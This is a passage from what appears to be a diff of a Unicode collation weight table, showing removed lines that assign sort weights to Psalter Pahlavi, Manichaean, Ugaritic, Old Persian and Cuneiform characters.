-10B8B ; [.47A9.0020.0002] # PSALTER PAHLAVI LETTER MEM-QOPH
-10B8C ; [.47AA.0020.0002] # PSALTER PAHLAVI LETTER NUN
-10B8D ; [.47AB.0020.0002] # PSALTER PAHLAVI LETTER SAMEKH
-10B8E ; [.47AC.0020.0002] # PSALTER PAHLAVI LETTER PE
-10B8F ; [.47AD.0020.0002] # PSALTER PAHLAVI LETTER SADHE
-10B90 ; [.47AE.0020.0002] # PSALTER PAHLAVI LETTER SHIN
-10B91 ; [.47AF.0020.0002] # PSALTER PAHLAVI LETTER TAW
-10AC0 ; [.47B0.0020.0002] # MANICHAEAN LETTER ALEPH
-10AC1 ; [.47B1.0020.0002] # MANICHAEAN LETTER BETH
-10AC2 ; [.47B2.0020.0002] # MANICHAEAN LETTER BHETH
-10AC3 ; [.47B3.0020.0002] # MANICHAEAN LETTER GIMEL
-10AC4 ; [.47B4.0020.0002] # MANICHAEAN LETTER GHIMEL
-10AC5 ; [.47B5.0020.0002] # MANICHAEAN LETTER DALETH
-10AC6 ; [.47B6.0020.0002] # MANICHAEAN LETTER HE
-10AC7 ; [.47B7.0020.0002] # MANICHAEAN LETTER WAW
-10AC8 ; [.47B7.0020.0004][.0000.010C.0004] # MANICHAEAN SIGN UD
-10AC9 ; [.47B8.0020.0002] # MANICHAEAN LETTER ZAYIN
-10ACA ; [.47B9.0020.0002] # MANICHAEAN LETTER ZHAYIN
-10ACB ; [.47BA.0020.0002] # MANICHAEAN LETTER JAYIN
-10ACC ; [.47BB.0020.0002] # MANICHAEAN LETTER JHAYIN
-10ACD ; [.47BC.0020.0002] # MANICHAEAN LETTER HETH
-10ACE ; [.47BD.0020.0002] # MANICHAEAN LETTER TETH
-10ACF ; [.47BE.0020.0002] # MANICHAEAN LETTER YODH
-10AD0 ; [.47BF.0020.0002] # MANICHAEAN LETTER KAPH
-10AD1 ; [.47C0.0020.0002] # MANICHAEAN LETTER XAPH
-10AD2 ; [.47C1.0020.0002] # MANICHAEAN LETTER KHAPH
-10AD3 ; [.47C2.0020.0002] # MANICHAEAN LETTER LAMEDH
-10AD4 ; [.47C3.0020.0002] # MANICHAEAN LETTER DHAMEDH
-10AD5 ; [.47C4.0020.0002] # MANICHAEAN LETTER THAMEDH
-10AD6 ; [.47C5.0020.0002] # MANICHAEAN LETTER MEM
-10AD7 ; [.47C6.0020.0002] # MANICHAEAN LETTER NUN
-10AD8 ; [.47C7.0020.0002] # MANICHAEAN LETTER SAMEKH
-10AD9 ; [.47C8.0020.0002] # MANICHAEAN LETTER AYIN
-10ADA ; [.47C9.0020.0002] # MANICHAEAN LETTER AAYIN
-10ADB ; [.47CA.0020.0002] # MANICHAEAN LETTER PE
-10ADC ; [.47CB.0020.0002] # MANICHAEAN LETTER FE
-10ADD ; [.47CC.0020.0002] # MANICHAEAN LETTER SADHE
-10ADE ; [.47CD.0020.0002] # MANICHAEAN LETTER QOPH
-10ADF ; [.47CE.0020.0002] # MANICHAEAN LETTER XOPH
-10AE0 ; [.47CF.0020.0002] # MANICHAEAN LETTER QHOPH
-10AE1 ; [.47D0.0020.0002] # MANICHAEAN LETTER RESH
-10AE2 ; [.47D1.0020.0002] # MANICHAEAN LETTER SHIN
-10AE3 ; [.47D2.0020.0002] # MANICHAEAN LETTER SSHIN
-10AE4 ; [.47D3.0020.0002] # MANICHAEAN LETTER TAW
-10380 ; [.47D4.0020.0002] # UGARITIC LETTER ALPA
-10381 ; [.47D5.0020.0002] # UGARITIC LETTER BETA
-10382 ; [.47D6.0020.0002] # UGARITIC LETTER GAMLA
-10383 ; [.47D7.0020.0002] # UGARITIC LETTER KHA
-10384 ; [.47D8.0020.0002] # UGARITIC LETTER DELTA
-10385 ; [.47D9.0020.0002] # UGARITIC LETTER HO
-10386 ; [.47DA.0020.0002] # UGARITIC LETTER WO
-10387 ; [.47DB.0020.0002] # UGARITIC LETTER ZETA
-10388 ; [.47DC.0020.0002] # UGARITIC LETTER HOTA
-10389 ; [.47DD.0020.0002] # UGARITIC LETTER TET
-1038A ; [.47DE.0020.0002] # UGARITIC LETTER YOD
-1038B ; [.47DF.0020.0002] # UGARITIC LETTER KAF
-1038C ; [.47E0.0020.0002] # UGARITIC LETTER SHIN
-1038D ; [.47E1.0020.0002] # UGARITIC LETTER LAMDA
-1038E ; [.47E2.0020.0002] # UGARITIC LETTER MEM
-1038F ; [.47E3.0020.0002] # UGARITIC LETTER DHAL
-10390 ; [.47E4.0020.0002] # UGARITIC LETTER NUN
-10391 ; [.47E5.0020.0002] # UGARITIC LETTER ZU
-10392 ; [.47E6.0020.0002] # UGARITIC LETTER SAMKA
-10393 ; [.47E7.0020.0002] # UGARITIC LETTER AIN
-10394 ; [.47E8.0020.0002] # UGARITIC LETTER PU
-10395 ; [.47E9.0020.0002] # UGARITIC LETTER SADE
-10396 ; [.47EA.0020.0002] # UGARITIC LETTER QOPA
-10397 ; [.47EB.0020.0002] # UGARITIC LETTER RASHA
-10398 ; [.47EC.0020.0002] # UGARITIC LETTER THANNA
-10399 ; [.47ED.0020.0002] # UGARITIC LETTER GHAIN
-1039A ; [.47EE.0020.0002] # UGARITIC LETTER TO
-1039B ; [.47EF.0020.0002] # UGARITIC LETTER I
-1039C ; [.47F0.0020.0002] # UGARITIC LETTER U
-1039D ; [.47F1.0020.0002] # UGARITIC LETTER SSU
-103A0 ; [.47F2.0020.0002] # OLD PERSIAN SIGN A
-103A1 ; [.47F3.0020.0002] # OLD PERSIAN SIGN I
-103A2 ; [.47F4.0020.0002] # OLD PERSIAN SIGN U
-103A3 ; [.47F5.0020.0002] # OLD PERSIAN SIGN KA
-103A4 ; [.47F6.0020.0002] # OLD PERSIAN SIGN KU
-103A5 ; [.47F7.0020.0002] # OLD PERSIAN SIGN GA
-103A6 ; [.47F8.0020.0002] # OLD PERSIAN SIGN GU
-103A7 ; [.47F9.0020.0002] # OLD PERSIAN SIGN XA
-103A8 ; [.47FA.0020.0002] # OLD PERSIAN SIGN CA
-103A9 ; [.47FB.0020.0002] # OLD PERSIAN SIGN JA
-103AA ; [.47FC.0020.0002] # OLD PERSIAN SIGN JI
-103AB ; [.47FD.0020.0002] # OLD PERSIAN SIGN TA
-103AC ; [.47FE.0020.0002] # OLD PERSIAN SIGN TU
-103AD ; [.47FF.0020.0002] # OLD PERSIAN SIGN DA
-103AE ; [.4800.0020.0002] # OLD PERSIAN SIGN DI
-103AF ; [.4801.0020.0002] # OLD PERSIAN SIGN DU
-103B0 ; [.4802.0020.0002] # OLD PERSIAN SIGN THA
-103B1 ; [.4803.0020.0002] # OLD PERSIAN SIGN PA
-103B2 ; [.4804.0020.0002] # OLD PERSIAN SIGN BA
-103B3 ; [.4805.0020.0002] # OLD PERSIAN SIGN FA
-103B4 ; [.4806.0020.0002] # OLD PERSIAN SIGN NA
-103B5 ; [.4807.0020.0002] # OLD PERSIAN SIGN NU
-103B6 ; [.4808.0020.0002] # OLD PERSIAN SIGN MA
-103B7 ; [.4809.0020.0002] # OLD PERSIAN SIGN MI
-103B8 ; [.480A.0020.0002] # OLD PERSIAN SIGN MU
-103B9 ; [.480B.0020.0002] # OLD PERSIAN SIGN YA
-103BA ; [.480C.0020.0002] # OLD PERSIAN SIGN VA
-103BB ; [.480D.0020.0002] # OLD PERSIAN SIGN VI
-103BC ; [.480E.0020.0002] # OLD PERSIAN SIGN RA
-103BD ; [.480F.0020.0002] # OLD PERSIAN SIGN RU
-103BE ; [.4810.0020.0002] # OLD PERSIAN SIGN LA
-103BF ; [.4811.0020.0002] # OLD PERSIAN SIGN SA
-103C0 ; [.4812.0020.0002] # OLD PERSIAN SIGN ZA
-103C1 ; [.4813.0020.0002] # OLD PERSIAN SIGN SHA
-103C2 ; [.4814.0020.0002] # OLD PERSIAN SIGN SSA
-103C3 ; [.4815.0020.0002] # OLD PERSIAN SIGN HA
-103C8 ; [.4816.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA
-103C9 ; [.4817.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA-2
-103CA ; [.4818.0020.0002] # OLD PERSIAN SIGN AURAMAZDAAHA
-103CB ; [.4819.0020.0002] # OLD PERSIAN SIGN XSHAAYATHIYA
-103CC ; [.481A.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH
-103CD ; [.481B.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH-2
-103CE ; [.481C.0020.0002] # OLD PERSIAN SIGN BAGA
-103CF ; [.481D.0020.0002] # OLD PERSIAN SIGN BUUMISH
-12000 ; [.481E.0020.0002] # CUNEIFORM SIGN A
-12001 ; [.481F.0020.0002] # CUNEIFORM SIGN A TIMES A
-12002 ; [.4820.0020.0002] # CUNEIFORM SIGN A TIMES BAD
-12003 ; [.4821.0020.0002] # CUNEIFORM SIGN A TIMES GAN2 TENU
-12004 ; [.4822.0020.0002] # CUNEIFORM SIGN A TIMES HA
-12005 ; [.4823.0020.0002] # CUNEIFORM SIGN A TIMES IGI
-12006 ; [.4824.0020.0002] # CUNEIFORM SIGN A TIMES LAGAR GUNU
-12007 ; [.4825.0020.0002] # CUNEIFORM SIGN A TIMES MUSH
-12008 ; [.4826.0020.0002] # CUNEIFORM SIGN A TIMES SAG
-12009 ; [.4827.0020.0002] # CUNEIFORM SIGN A2
-1200A ; [.4828.0020.0002] # CUNEIFORM SIGN AB
-1200B ; [.4829.0020.0002] # CUNEIFORM SIGN AB TIMES ASH2
-1200C ; [.482A.0020.0002] # CUNEIFORM SIGN AB TIMES DUN3 GUNU
-1200D ; [.482B.0020.0002] # CUNEIFORM SIGN AB TIMES GAL
-1200E ; [.482C.0020.0002] # CUNEIFORM SIGN AB TIMES GAN2 TENU
-1200F ; [.482D.0020.0002] # CUNEIFORM SIGN AB TIMES HA
-12010 ; [.482E.0020.0002] # CUNEIFORM SIGN AB TIMES IGI GUNU
-12011 ; [.482F.0020.0002] # CUNEIFORM SIGN AB TIMES IMIN
-12012 ; [.4830.0020.0002] # CUNEIFORM SIGN AB TIMES LAGAB
-12013 ; [.4831.0020.0002] # CUNEIFORM SIGN AB TIMES SHESH
-12014 ; [.4832.0020.0002] # CUNEIFORM SIGN AB TIMES U PLUS U PLUS U
-12015 ; [.4833.0020.0002] # CUNEIFORM SIGN AB GUNU
-12016 ; [.4834.0020.0002] # CUNEIFORM SIGN AB2
-12017 ; [.4835.0020.0002] # CUNEIFORM SIGN AB2 TIMES BALAG
-12018 ; [.4836.0020.0002] # CUNEIFORM SIGN AB2 TIMES GAN2 TENU
-12019 ; [.4837.0020.0002] # CUNEIFORM SIGN AB2 TIMES ME PLUS EN
-1201A ; [.4838.0020.0002] # CUNEIFORM SIGN AB2 TIMES SHA3
-1201B ; [.4839.0020.0002] # CUNEIFORM SIGN AB2 TIMES TAK4
-1201C ; [.483A.0020.0002] # CUNEIFORM SIGN AD
-1201D ; [.483B.0020.0002] # CUNEIFORM SIGN AK
-1201E ; [.483C.0020.0002] # CUNEIFORM SIGN AK TIMES ERIN2
-1201F ; [.483D.0020.0002] # CUNEIFORM SIGN AK TIMES SHITA PLUS GISH
-12020 ; [.483E.0020.0002] # CUNEIFORM SIGN AL
-12021 ; [.483F.0020.0002] # CUNEIFORM SIGN AL TIMES AL
-12022 ; [.4840.0020.0002] # CUNEIFORM SIGN AL TIMES DIM2
-12023 ; [.4841.0020.0002] # CUNEIFORM SIGN AL TIMES GISH
-12024 ; [.4842.0020.0002] # CUNEIFORM SIGN AL TIMES HA
-12025 ; [.4843.0020.0002] # CUNEIFORM SIGN AL TIMES KAD3
-12026 ; [.4844.0020.0002] # CUNEIFORM SIGN AL TIMES KI
-12027 ; [.4845.0020.0002] # CUNEIFORM SIGN AL TIMES SHE
-12028 ; [.4846.0020.0002] # CUNEIFORM SIGN AL TIMES USH
-12029 ; [.4847.0020.0002] # CUNEIFORM SIGN ALAN
-1202A ; [.4848.0020.0002] # CUNEIFORM SIGN ALEPH
-1202B ; [.4849.0020.0002] # CUNEIFORM SIGN AMAR
-1202C ; [.484A.0020.0002] # CUNEIFORM SIGN AMAR TIMES SHE
-1202D ; [.484B.0020.0002] # CUNEIFORM SIGN AN
-1202E ; [.484C.0020.0002] # CUNEIFORM SIGN AN OVER AN
-1202F ; [.484D.0020.0002] # CUNEIFORM SIGN AN THREE TIMES
-12030 ; [.484E.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA OPPOSING AN PLUS NAGA
-12031 ; [.484F.0020.0002] # CUNEIFORM SIGN AN PLUS NAGA SQUARED
-12032 ; [.4850.0020.0002] # CUNEIFORM SIGN ANSHE
-12033 ; [.4851.0020.0002] # CUNEIFORM SIGN APIN
-12034 ; [.4852.0020.0002] # CUNEIFORM SIGN ARAD
-12035 ; [.4853.0020.0002] # CUNEIFORM SIGN ARAD TIMES KUR
-12036 ; [.4854.0020.0002] # CUNEIFORM SIGN ARKAB
-12037 ; [.4855.0020.0002] # CUNEIFORM SIGN ASAL2
-12038 ; [.4856.0020.0002] # CUNEIFORM SIGN ASH
-12039 ; [.4857.0020.0002] # CUNEIFORM SIGN ASH ZIDA TENU
-1203A ; [.4858.0020.0002] # CUNEIFORM SIGN ASH KABA TENU
-1203B ; [.4859.0020.0002] # CUNEIFORM SIGN ASH OVER ASH TUG2 OVER TUG2 TUG2 OVER TUG2 PAP
-1203C ; [.485A.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH
-1203D ; [.485B.0020.0002] # CUNEIFORM SIGN ASH OVER ASH OVER ASH CROSSING ASH OVER ASH OVER ASH
-1203E ; [.485C.0020.0002] # CUNEIFORM SIGN ASH2
-1203F ; [.485D.0020.0002] # CUNEIFORM SIGN ASHGAB
-12040 ; [.485E.0020.0002] # CUNEIFORM SIGN BA
-12041 ; [.485F.0020.0002] # CUNEIFORM SIGN BAD
-12042 ; [.4860.0020.0002] # CUNEIFORM SIGN BAG3
-12043 ; [.4861.0020.0002] # CUNEIFORM SIGN BAHAR2
-12044 ; [.4862.0020.0002] # CUNEIFORM SIGN BAL
-12045 ; [.4863.0020.0002] # CUNEIFORM SIGN BAL OVER BAL
-12046 ; [.4864.0020.0002] # CUNEIFORM SIGN BALAG
-12047 ; [.4865.0020.0002] # CUNEIFORM SIGN BAR
-12048 ; [.4866.0020.0002] # CUNEIFORM SIGN BARA2
-12049 ; [.4867.0020.0002] # CUNEIFORM SIGN BI
-1204A ; [.4868.0020.0002] # CUNEIFORM SIGN BI TIMES A
-1204B ; [.4869.0020.0002] # CUNEIFORM SIGN BI TIMES GAR
-1204C ; [.486A.0020.0002] # CUNEIFORM SIGN BI TIMES IGI GUNU
-1204D ; [.486B.0020.0002] # CUNEIFORM SIGN BU
-1204E ; [.486C.0020.0002] # CUNEIFORM SIGN BU OVER BU AB
-1204F ; [.486D.0020.0002] # CUNEIFORM SIGN BU OVER BU UN
-12050 ; [.486E.0020.0002] # CUNEIFORM SIGN BU CROSSING BU
-12051 ; [.486F.0020.0002] # CUNEIFORM SIGN BULUG
-12052 ; [.4870.0020.0002] # CUNEIFORM SIGN BULUG OVER BULUG
-12053 ; [.4871.0020.0002] # CUNEIFORM SIGN BUR
-12054 ; [.4872.0020.0002] # CUNEIFORM SIGN BUR2
-12055 ; [.4873.0020.0002] # CUNEIFORM SIGN DA
-12056 ; [.4874.0020.0002] # CUNEIFORM SIGN DAG
-12057 ; [.4875.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES A PLUS MASH
-12058 ; [.4876.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES AMAR
-12059 ; [.4877.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BALAG
-1205A ; [.4878.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BI
-1205B ; [.4879.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA
-1205C ; [.487A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA PLUS MASH
-1205D ; [.487B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GI
-1205E ; [.487C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GIR2
-1205F ; [.487D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GUD
-12060 ; [.487E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES HA
-12061 ; [.487F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR
-12062 ; [.4880.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR PLUS LU
-12063 ; [.4881.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES KAK
-12064 ; [.4882.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LA
-12065 ; [.4883.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU
-12066 ; [.4884.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU PLUS MASH2
-12067 ; [.4885.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LUM
-12068 ; [.4886.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES NE
-12069 ; [.4887.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES PAP PLUS PAP
-1206A ; [.4888.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES SI
-1206B ; [.4889.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES TAK4
-1206C ; [.488A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS GIR2
-1206D ; [.488B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES USH
-1206E ; [.488C.0020.0002] # CUNEIFORM SIGN DAM
-1206F ; [.488D.0020.0002] # CUNEIFORM SIGN DAR
-12070 ; [.488E.0020.0002] # CUNEIFORM SIGN DARA3
-12071 ; [.488F.0020.0002] # CUNEIFORM SIGN DARA4
-12072 ; [.4890.0020.0002] # CUNEIFORM SIGN DI
-12073 ; [.4891.0020.0002] # CUNEIFORM SIGN DIB
-12074 ; [.4892.0020.0002] # CUNEIFORM SIGN DIM
-12075 ; [.4893.0020.0002] # CUNEIFORM SIGN DIM TIMES SHE
-12076 ; [.4894.0020.0002] # CUNEIFORM SIGN DIM2
-12077 ; [.4895.0020.0002] # CUNEIFORM SIGN DIN
-12078 ; [.4896.0020.0002] # CUNEIFORM SIGN DIN KASKAL U GUNU DISH
-12079 ; [.4897.0020.0002] # CUNEIFORM SIGN DISH
-1207A ; [.4898.0020.0002] # CUNEIFORM SIGN DU
-1207B ; [.4899.0020.0002] # CUNEIFORM SIGN DU OVER DU
-1207C ; [.489A.0020.0002] # CUNEIFORM SIGN DU GUNU
-1207D ; [.489B.0020.0002] # CUNEIFORM SIGN DU SHESHIG
-1207E ; [.489C.0020.0002] # CUNEIFORM SIGN DUB
-1207F ; [.489D.0020.0002] # CUNEIFORM SIGN DUB TIMES ESH2
-12080 ; [.489E.0020.0002] # CUNEIFORM SIGN DUB2
-12081 ; [.489F.0020.0002] # CUNEIFORM SIGN DUG
-12082 ; [.48A0.0020.0002] # CUNEIFORM SIGN DUGUD
-12083 ; [.48A1.0020.0002] # CUNEIFORM SIGN DUH
-12084 ; [.48A2.0020.0002] # CUNEIFORM SIGN DUN
-12085 ; [.48A3.0020.0002] # CUNEIFORM SIGN DUN3
-12086 ; [.48A4.0020.0002] # CUNEIFORM SIGN DUN3 GUNU
-12087 ; [.48A5.0020.0002] # CUNEIFORM SIGN DUN3 GUNU GUNU
-12088 ; [.48A6.0020.0002] # CUNEIFORM SIGN DUN4
-12089 ; [.48A7.0020.0002] # CUNEIFORM SIGN DUR2
-1208A ; [.48A8.0020.0002] # CUNEIFORM SIGN E
-1208B ; [.48A9.0020.0002] # CUNEIFORM SIGN E TIMES PAP
-1208C ; [.48AA.0020.0002] # CUNEIFORM SIGN E OVER E NUN OVER NUN
-1208D ; [.48AB.0020.0002] # CUNEIFORM SIGN E2
-1208E ; [.48AC.0020.0002] # CUNEIFORM SIGN E2 TIMES A PLUS HA PLUS DA
-1208F ; [.48AD.0020.0002] # CUNEIFORM SIGN E2 TIMES GAR
-12090 ; [.48AE.0020.0002] # CUNEIFORM SIGN E2 TIMES MI
-12091 ; [.48AF.0020.0002] # CUNEIFORM SIGN E2 TIMES SAL
-12092 ; [.48B0.0020.0002] # CUNEIFORM SIGN E2 TIMES SHE
-12093 ; [.48B1.0020.0002] # CUNEIFORM SIGN E2 TIMES U
-12094 ; [.48B2.0020.0002] # CUNEIFORM SIGN EDIN
-12095 ; [.48B3.0020.0002] # CUNEIFORM SIGN EGIR
-12096 ; [.48B4.0020.0002] # CUNEIFORM SIGN EL
-12097 ; [.48B5.0020.0002] # CUNEIFORM SIGN EN
-12098 ; [.48B6.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2
-12099 ; [.48B7.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 TENU
-1209A ; [.48B8.0020.0002] # CUNEIFORM SIGN EN TIMES ME
-1209B ; [.48B9.0020.0002] # CUNEIFORM SIGN EN CROSSING EN
-1209C ; [.48BA.0020.0002] # CUNEIFORM SIGN EN OPPOSING EN
-1209D ; [.48BB.0020.0002] # CUNEIFORM SIGN EN SQUARED
-1209E ; [.48BC.0020.0002] # CUNEIFORM SIGN EREN
-1209F ; [.48BD.0020.0002] # CUNEIFORM SIGN ERIN2
-120A0 ; [.48BE.0020.0002] # CUNEIFORM SIGN ESH2
-120A1 ; [.48BF.0020.0002] # CUNEIFORM SIGN EZEN
-120A2 ; [.48C0.0020.0002] # CUNEIFORM SIGN EZEN TIMES A
-120A3 ; [.48C1.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL
-120A4 ; [.48C2.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL TIMES LAL
-120A5 ; [.48C3.0020.0002] # CUNEIFORM SIGN EZEN TIMES AN
-120A6 ; [.48C4.0020.0002] # CUNEIFORM SIGN EZEN TIMES BAD
-120A7 ; [.48C5.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU
-120A8 ; [.48C6.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU GUNU
-120A9 ; [.48C7.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA
-120AA ; [.48C8.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA GUNU
-120AB ; [.48C9.0020.0002] # CUNEIFORM SIGN EZEN TIMES IGI GUNU
-120AC ; [.48CA.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL
-120AD ; [.48CB.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL SQUARED
-120AE ; [.48CC.0020.0002] # CUNEIFORM SIGN EZEN TIMES KU3
-120AF ; [.48CD.0020.0002] # CUNEIFORM SIGN EZEN TIMES LA
-120B0 ; [.48CE.0020.0002] # CUNEIFORM SIGN EZEN TIMES LAL TIMES LAL
-120B1 ; [.48CF.0020.0002] # CUNEIFORM SIGN EZEN TIMES LI
-120B2 ; [.48D0.0020.0002] # CUNEIFORM SIGN EZEN TIMES LU
-120B3 ; [.48D1.0020.0002] # CUNEIFORM SIGN EZEN TIMES U2
-120B4 ; [.48D2.0020.0002] # CUNEIFORM SIGN EZEN TIMES UD
-120B5 ; [.48D3.0020.0002] # CUNEIFORM SIGN GA
-120B6 ; [.48D4.0020.0002] # CUNEIFORM SIGN GA GUNU
-120B7 ; [.48D5.0020.0002] # CUNEIFORM SIGN GA2
-120B8 ; [.48D6.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS DA PLUS HA
-120B9 ; [.48D7.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS HA
-120BA ; [.48D8.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS IGI
-120BB ; [.48D9.0020.0002] # CUNEIFORM SIGN GA2 TIMES AB2 TENU PLUS TAB
-120BC ; [.48DA.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN
-120BD ; [.48DB.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH
-120BE ; [.48DC.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 PLUS GAL
-120BF ; [.48DD.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAD
-120C0 ; [.48DE.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAR PLUS RA
-120C1 ; [.48DF.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR
-120C2 ; [.48E0.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR PLUS RA
-120C3 ; [.48E1.0020.0002] # CUNEIFORM SIGN GA2 TIMES DA
-120C4 ; [.48E2.0020.0002] # CUNEIFORM SIGN GA2 TIMES DI
-120C5 ; [.48E3.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM TIMES SHE
-120C6 ; [.48E4.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUB
-120C7 ; [.48E5.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL
-120C8 ; [.48E6.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL PLUS LA
-120C9 ; [.48E7.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN
-120CA ; [.48E8.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN TIMES GAN2 TENU
-120CB ; [.48E9.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAN2 TENU
-120CC ; [.48EA.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR
-120CD ; [.48EB.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI
-120CE ; [.48EC.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4
-120CF ; [.48ED.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 PLUS A
-120D0 ; [.48EE.0020.0002] # CUNEIFORM SIGN GA2 TIMES GIR2 PLUS SU
-120D1 ; [.48EF.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS LU PLUS ESH2
-120D2 ; [.48F0.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL
-120D3 ; [.48F1.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL PLUS LA
-120D4 ; [.48F2.0020.0002] # CUNEIFORM SIGN GA2 TIMES HI PLUS LI
-120D5 ; [.48F3.0020.0002] # CUNEIFORM SIGN GA2 TIMES HUB2
-120D6 ; [.48F4.0020.0002] # CUNEIFORM SIGN GA2 TIMES IGI GUNU
-120D7 ; [.48F5.0020.0002] # CUNEIFORM SIGN GA2 TIMES ISH PLUS HU PLUS ASH
-120D8 ; [.48F6.0020.0002] # CUNEIFORM SIGN GA2 TIMES KAK
-120D9 ; [.48F7.0020.0002] # CUNEIFORM SIGN GA2 TIMES KASKAL
-120DA ; [.48F8.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID
-120DB ; [.48F9.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID PLUS LAL
-120DC ; [.48FA.0020.0002] # CUNEIFORM SIGN GA2 TIMES KU3 PLUS AN
-120DD ; [.48FB.0020.0002] # CUNEIFORM SIGN GA2 TIMES LA
-120DE ; [.48FC.0020.0002] # CUNEIFORM SIGN GA2 TIMES ME PLUS EN
-120DF ; [.48FD.0020.0002] # CUNEIFORM SIGN GA2 TIMES MI
-120E0 ; [.48FE.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN
-120E1 ; [.48FF.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN OVER NUN
-120E2 ; [.4900.0020.0002] # CUNEIFORM SIGN GA2 TIMES PA
-120E3 ; [.4901.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAL
-120E4 ; [.4902.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAR
-120E5 ; [.4903.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE
-120E6 ; [.4904.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE PLUS TUR
-120E7 ; [.4905.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHID
-120E8 ; [.4906.0020.0002] # CUNEIFORM SIGN GA2 TIMES SUM
-120E9 ; [.4907.0020.0002] # CUNEIFORM SIGN GA2 TIMES TAK4
-120EA ; [.4908.0020.0002] # CUNEIFORM SIGN GA2 TIMES U
-120EB ; [.4909.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD
-120EC ; [.490A.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD PLUS DU
-120ED ; [.490B.0020.0002] # CUNEIFORM SIGN GA2 OVER GA2
-120EE ; [.490C.0020.0002] # CUNEIFORM SIGN GABA
-120EF ; [.490D.0020.0002] # CUNEIFORM SIGN GABA CROSSING GABA
-120F0 ; [.490E.0020.0002] # CUNEIFORM SIGN GAD
-120F1 ; [.490F.0020.0002] # CUNEIFORM SIGN GAD OVER GAD GAR OVER GAR
-120F2 ; [.4910.0020.0002] # CUNEIFORM SIGN GAL
-120F3 ; [.4911.0020.0002] # CUNEIFORM SIGN GAL GAD OVER GAD GAR OVER GAR
-120F4 ; [.4912.0020.0002] # CUNEIFORM SIGN GALAM
-120F5 ; [.4913.0020.0002] # CUNEIFORM SIGN GAM
-120F6 ; [.4914.0020.0002] # CUNEIFORM SIGN GAN
-120F7 ; [.4915.0020.0002] # CUNEIFORM SIGN GAN2
-120F8 ; [.4916.0020.0002] # CUNEIFORM SIGN GAN2 TENU
-120F9 ; [.4917.0020.0002] # CUNEIFORM SIGN GAN2 OVER GAN2
-120FA ; [.4918.0020.0002] # CUNEIFORM SIGN GAN2 CROSSING GAN2
-120FB ; [.4919.0020.0002] # CUNEIFORM SIGN GAR
-120FC ; [.491A.0020.0002] # CUNEIFORM SIGN GAR3
-120FD ; [.491B.0020.0002] # CUNEIFORM SIGN GASHAN
-120FE ; [.491C.0020.0002] # CUNEIFORM SIGN GESHTIN
